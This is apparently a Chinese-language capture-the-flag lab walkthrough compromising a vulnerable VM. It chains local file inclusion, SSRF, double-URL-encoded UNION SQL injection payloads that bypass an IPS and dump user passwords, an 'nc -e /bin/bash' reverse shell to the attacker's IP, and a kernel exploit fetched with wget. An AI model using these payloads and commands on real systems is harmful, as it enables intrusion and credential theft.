总结放在前面:
本次的突破点是一张图片的包含出错引发的文件包含漏洞以及ssrf漏洞
<img src=http://xxxxxx/xxxx/xxx.jpg> 存在于image.php?src=http://xxx.com/xxx.jpg
刚看到这个页面以为是远程文件包含,结果是个本地文件包含
查看到配置文件,sql查看语句
通过端口的8080以及apache的配置信息看到8080是实际的监听端口而80是转发的端口
所以出现了ssrf漏洞
这里是实际的注入点
http://127.0.0.1:8080/xxx.php?xx=xxx
首先进行靶机的发现:
目标的靶机IP是192.168.0.176
随后进行端口检测
22端口—openssh的5.9p1 可以使用九头蛇或者弱口令检测工具爆破/也可以查看是否存在漏洞进行测试
80端口—apache2.2.22的中间件 存在IPS检测阻断系统
8080端口—是http的代理
我们先看下22端口这个openssh有没有已知漏洞 卒
打开网页寻找突破
这里有一个图片没有被加载出来,我们切换到源码查看
可以看出这里的图片src指向一个其他的超链接图片
Image.php中可能存在文件包含漏洞,我们把src替换成image.php
以上,可以看出image.php文件中变量src是用户可控并且无过滤。
首页我们用谷歌浏览器打开吧
这里的话我们查看输入的地方可以查看是否存在注入点,使用sqlmap进行扫描
扫描的同时我们看一下网站的目录结构
获取网站结构之后,我们使用刚刚检测出的文件包含对config.php文件进行查看
数据库名为fancydb
密码n0_\$\$_n0_g41ns
用户sellingstuff
在查看我们输入折扣码的页面
我们可以猜测,当我们输入折扣码的时候会玉数据库中比对查看是否存在,那么这里数据交互的地方就可能会出现漏洞,但是sqlmap没有显示结果,我们来查看下checkpromo.php的文件内容是什么?
可以看到我们输入的promocode变量直接拼接在sql查询语句中,可控且无过滤条件,妥妥的注入,但是存在IPS防御,我们采用双url编码进行绕过。
1.url编码可以进行在线的网页进行编码:
http://tool.chinaz.com/tools/urlencode.aspx
网页中空格无法进行编码 卒
2.也可以使用python3中quote函数进行编码:
from urllib.parse import quote
quote(“要编码的内容”)
quote(“=”)
双url编码:quote(quote(“==”))
3.Bp中也可进行url编码
Bp中无法实现我们所需要的双编码
url编码:
“=”经过url编码后为%3D
而双url编码就是将“%”再次进行编码为%25然后将3D拼接成为%253D
这样进行解码后首先对%25进行解码为%,再对%3D进行解码为“=”
$sql="SELECT discount,status FROM promocodes WHERE promocode='".$_GET['promocode'].‘";
根据查询语句可以看到,我们需要使用单引号做为闭合,并且前面存在两个字段
数据库名为fancydb
- 查看数据库中所有表
aaaa'union select group_concat(table_name,'```'),2 from information_schema.tables where table_schema=database()#
使用url双编码后
aaaa%2527union%2520select%2520group_concat%2528table_name%252C%2527%2560%2560%2560%2527%2529%252C2%2520from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529%2523
我们将编码后的测试语句放入
似乎没有起作用,我们查看apaceh的默认配置路径:
Ubuntu默认配置文件为/etc/apache2/sites-available/default
还记得端口扫描的时候发现8080端口,网站实际是针对8080端口进行监听,而80端口是作为转发的端口,也就是说我们需要访问http://127.0.0.1:8080/checkpromo.php?promocode=这个路径才能实现注入攻击。
重新进行测试:
我们获取了fancydb数据库中的两个表名,其中users表为我们下一步进行测试的表
继续构造查询表下字段名的测试语句:
aaa'union select group_concat(column_name,'```'),2 from information_schema.columns where table_schema = database() and table_name = 'users'#
经过双编码后:
aaa%2527union%2520select%2520group_concat%2528column_name%252C%2527%2560%2560%2560%2527%2529%252C2%2520from%2520information_schema.columns%2520where%2520table_schema%2520%253D%2520database%2528%2529%2520and%2520table_name%2520%253D%2520%2527users%2527%2523
查看users表下字段
继续查看fancydb数据库下,users表中,username与password字段的值
aa'union select group_concat(username,'````',password,'`````'),2 from fancydb.users#
aa%2527union%2520select%2520group_concat%2528username%252C%2527%2560%2560%2560%2560%2527%252Cpassword%252C%2527%2560%2560%2560%2560%2560%2527%2529%252C2%2520from%2520fancydb.users%2523
获得用户名:andrea 密码:SayNoToPentests
但是网页中并没有admin或者login等web控制页面登陆信息
我们直接使用ssh进行登陆
来到提权的步骤:
首先查看/etc/passwd这个文件是否可写
Help命令都不给用。
好家伙,nc –e我们把shell弹回来用。
Kali中我们执行 监听5555端口
nc –nvlp 5555
靶机中执行 我们kali的IP为192.168.0.119
Nc –e /bin/bash 192.168.0.119 5555
使用下面的python语句获取对话
python -c 'import pty;pty.spawn("/bin/bash")'
查看之前小结的提权步骤:
https://blog.csdn.net/Lonelyhat/article/details/105553797
要是有其他提权方法欢迎留言呀~大佬们~
/etc/passwd不能写入
Uname -a
这个版本有些古老啊
我们search一下
我们cp一下.c文件
找到.c文件
Cp过来
Cat一下查看
我们只需要编译后执行就可以了
开启python的http服务
python -m SimpleHTTPServer
进入tmp文件夹使用wget获取.c文件
Gcc编译
根目录下存在flag执行文件